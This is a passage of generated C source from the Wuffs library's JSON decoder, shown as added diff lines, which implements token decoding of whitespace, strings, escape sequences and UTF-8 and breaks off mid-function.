json.decoder.decode_tokens ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_json__decoder__decode_tokens( ++ wuffs_json__decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_vminor = 0; ++ uint32_t v_number_length = 0; ++ uint32_t v_number_status = 0; ++ uint32_t v_string_length = 0; ++ uint32_t v_whitespace_length = 0; ++ uint32_t v_depth = 0; ++ uint32_t v_stack_byte = 0; ++ uint32_t v_stack_bit = 0; ++ uint32_t v_match = 0; ++ uint32_t v_c32 = 0; ++ uint8_t v_c8 = 0; ++ uint8_t v_backslash = 0; ++ uint8_t v_char = 0; ++ uint8_t v_class = 0; ++ uint32_t v_multi_byte_utf8 = 0; ++ uint8_t v_backslash_x_ok = 0; ++ uint8_t v_backslash_x_value = 0; ++ uint32_t v_backslash_x_string = 0; ++ uint8_t v_uni4_ok = 0; ++ uint64_t v_uni4_string = 0; ++ uint32_t v_uni4_value = 0; ++ uint32_t v_uni4_high_surrogate = 0; ++ uint8_t v_uni8_ok = 0; ++ uint64_t v_uni8_string = 0; ++ uint32_t v_uni8_value = 0; ++ uint32_t v_expect = 0; ++ uint32_t v_expect_after_value = 0; ++ ++ wuffs_base__token* iop_a_dst = NULL; ++ wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_tokens; ++ if (coro_susp_point) { ++ v_depth = self->private_data.s_decode_tokens.v_depth; ++ v_expect = self->private_data.s_decode_tokens.v_expect; ++ v_expect_after_value = self->private_data.s_decode_tokens.v_expect_after_value; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_end_of_data) { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ if (self->private_impl.f_quirks[18u]) { ++ if (self->private_impl.f_quirks[11u] || self->private_impl.f_quirks[12u] || self->private_impl.f_quirks[17u]) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_quirk_combination); ++ goto exit; ++ } ++ } ++ if (self->private_impl.f_quirks[15u] || self->private_impl.f_quirks[16u]) { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_json__decoder__decode_leading(self, a_dst, a_src); ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } ++ v_expect = 7858u; ++ label__outer__continue:; ++ while (true) { ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ goto label__outer__continue; ++ } ++ v_whitespace_length = 0u; ++ v_c8 = 0u; ++ v_class = 0u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (v_whitespace_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_whitespace_length = 0u; ++ } ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++ goto label__outer__continue; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ v_class = WUFFS_JSON__LUT_CLASSES[v_c8]; ++ if (v_class != 0u) { ++ break; ++ } ++ iop_a_src += 1u; ++ if (v_whitespace_length >= 65534u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(65535u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_whitespace_length = 0u; ++ goto label__outer__continue; ++ } ++ v_whitespace_length += 1u; ++ } ++ if (v_whitespace_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_whitespace_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__outer__continue; ++ } ++ } ++ if (0u == (v_expect & (((uint32_t)(1u)) << v_class))) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ if (v_class == 1u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ label__string_loop_outer__continue:; ++ while (true) { ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ continue; ++ } ++ v_string_length = 0u; ++ while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ } ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_input); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ goto label__string_loop_outer__continue; ++ } ++ while (((uint64_t)(io2_a_src - iop_a_src)) > 4u) { ++ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ if (0u != (WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 0u))] | ++ WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 8u))] | ++ WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 16u))] | ++ WUFFS_JSON__LUT_CHARS[(255u & (v_c32 >> 24u))])) { ++ break; ++ } ++ iop_a_src += 4u; ++ if (v_string_length > 65527u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ goto label__string_loop_outer__continue; ++ } ++ v_string_length += 4u; ++ } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ v_char = WUFFS_JSON__LUT_CHARS[v_c8]; ++ if (v_char == 0u) { ++ iop_a_src += 1u; ++ if (v_string_length >= 65531u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(65532u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ goto label__string_loop_outer__continue; ++ } ++ v_string_length += 1u; ++ continue; ++ } else if (v_char == 1u) { ++ if (v_string_length != 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ } ++ goto label__string_loop_outer__break; ++ } else if (v_char == 2u) { ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__string_loop_outer__continue; ++ } ++ } ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); ++ goto label__string_loop_outer__continue; ++ } ++ v_c8 = ((uint8_t)(((uint16_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u)))); ++ v_backslash = WUFFS_JSON__LUT_BACKSLASHES[v_c8]; ++ if (((uint8_t)(v_backslash & 128u)) != 0u) { ++ iop_a_src += 2u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | ((uint32_t)(((uint8_t)(v_backslash & 127u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } else if (v_backslash != 0u) { ++ if (self->private_impl.f_quirks[WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[((uint8_t)(v_backslash & 7u))]]) { ++ iop_a_src += 2u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | ((uint32_t)(WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[((uint8_t)(v_backslash & 7u))]))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ } else if (v_c8 == 117u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); ++ goto label__string_loop_outer__continue; ++ } ++ v_uni4_string = (((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))) >> 16u); ++ v_uni4_value = 0u; ++ v_uni4_ok = 128u; ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 12u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 8u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 4u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 0u); ++ if (v_uni4_ok == 0u) { ++ } else if ((v_uni4_value < 55296u) || (57343u < v_uni4_value)) { ++ iop_a_src += 6u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } else if (v_uni4_value >= 56320u) { ++ } else { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 12u) { ++ if (a_src && a_src->meta.closed) { ++ if (self->private_impl.f_quirks[20u]) { ++ iop_a_src += 6u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ goto label__string_loop_outer__continue; ++ } ++ v_uni4_string = (wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 4u) >> 16u); ++ if (((255u & (v_uni4_string >> 0u)) != 92u) || ((255u & (v_uni4_string >> 8u)) != 117u)) { ++ v_uni4_high_surrogate = 0u; ++ v_uni4_value = 0u; ++ v_uni4_ok = 0u; ++ } else { ++ v_uni4_high_surrogate = (65536u + ((v_uni4_value - 55296u) << 10u)); ++ v_uni4_value = 0u; ++ v_uni4_ok = 128u; ++ v_uni4_string >>= 16u; ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 12u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 8u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 4u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; ++ v_uni4_ok &= v_c8; ++ v_uni4_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 0u); ++ } ++ if ((v_uni4_ok != 0u) && (56320u <= v_uni4_value) && (v_uni4_value <= 57343u)) { ++ v_uni4_value -= 56320u; ++ iop_a_src += 12u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | v_uni4_high_surrogate | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(12u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ } ++ if (self->private_impl.f_quirks[20u]) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { ++ status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); ++ goto exit; ++ } ++ iop_a_src += 6u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ } else if ((v_c8 == 85u) && self->private_impl.f_quirks[2u]) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 10u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ goto label__string_loop_outer__continue; ++ } ++ v_uni8_string = wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 2u); ++ v_uni8_value = 0u; ++ v_uni8_ok = 128u; ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 0u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 28u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 8u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 24u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 16u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 20u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 24u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 16u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 32u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 12u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 40u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 8u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 48u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 4u); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 56u))]; ++ v_uni8_ok &= v_c8; ++ v_uni8_value |= (((uint32_t)(((uint8_t)(v_c8 & 15u)))) << 0u); ++ if (v_uni8_ok == 0u) { ++ } else if ((v_uni8_value < 55296u) || ((57343u < v_uni8_value) && (v_uni8_value <= 1114111u))) { ++ iop_a_src += 10u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | (v_uni8_value & 2097151u)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } else if (self->private_impl.f_quirks[20u]) { ++ iop_a_src += 10u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ } else if ((v_c8 == 120u) && self->private_impl.f_quirks[9u]) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ if (a_src && a_src->meta.closed) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); ++ goto label__string_loop_outer__continue; ++ } ++ v_backslash_x_string = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ v_backslash_x_ok = 128u; ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 16u))]; ++ v_backslash_x_ok &= v_c8; ++ v_backslash_x_value = ((uint8_t)(((uint8_t)(((uint8_t)(v_c8 & 15u)) << 4u)))); ++ v_c8 = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 24u))]; ++ v_backslash_x_ok &= v_c8; ++ v_backslash_x_value = ((uint8_t)(((uint8_t)(v_backslash_x_value | ((uint8_t)(v_c8 & 15u)))))); ++ if ((v_backslash_x_ok == 0u) || ((v_backslash_x_string & 65535u) != 30812u)) { ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } ++ iop_a_src += 4u; ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)((6291456u | ((uint32_t)(v_backslash_x_value))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); ++ goto exit; ++ } else if (v_char == 3u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__string_loop_outer__continue; ++ } ++ } ++ if (a_src && a_src->meta.closed) { ++ if (self->private_impl.f_quirks[20u]) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); ++ goto label__string_loop_outer__continue; ++ } ++ v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ if ((v_multi_byte_utf8 & 49152u) == 32768u) { ++ v_multi_byte_utf8 = ((1984u & ((uint32_t)(v_multi_byte_utf8 << 6u))) | (63u & (v_multi_byte_utf8 >> 8u))); ++ iop_a_src += 2u; ++ if (v_string_length >= 65528u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_string_length + 2u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ goto label__string_loop_outer__continue; ++ } ++ v_string_length += 2u; ++ continue; ++ } ++ } else if (v_char == 4u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__string_loop_outer__continue; ++ } ++ } ++ if (a_src && a_src->meta.closed) { ++ if (self->private_impl.f_quirks[20u]) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ iop_a_src += 1u; ++ goto label__string_loop_outer__continue; ++ } ++ status = wuffs_base__make_status(wuffs_json__error__bad_utf_8); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); ++ goto label__string_loop_outer__continue; ++ } ++ v_multi_byte_utf8 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); ++ if ((v_multi_byte_utf8 & 12632064u) == 8421376u) { ++ v_multi_byte_utf8 = ((61440u & ((uint32_t)(v_multi_byte_utf8 << 12u))) | (4032u & (v_multi_byte_utf8 >> 2u)) | (63u & (v_multi_byte_utf8 >> 16u))); ++ if ((2047u < v_multi_byte_utf8) && ((v_multi_byte_utf8 < 55296u) || (57343u < v_multi_byte_utf8))) { ++ iop_a_src += 3u; ++ if (v_string_length >= 65528u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)((v_string_length + 3u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ goto label__string_loop_outer__continue; ++ } ++ v_string_length += 3u; ++ continue; ++ } ++ } ++ } else if (v_char == 5u) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ if (v_string_length > 0u) { ++ *iop_a_dst++ = wuffs_base__make_token( ++ (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | ++ (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | ++ (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_string_length = 0u; ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { ++ goto label__string_loop_outer__continue; ++ } 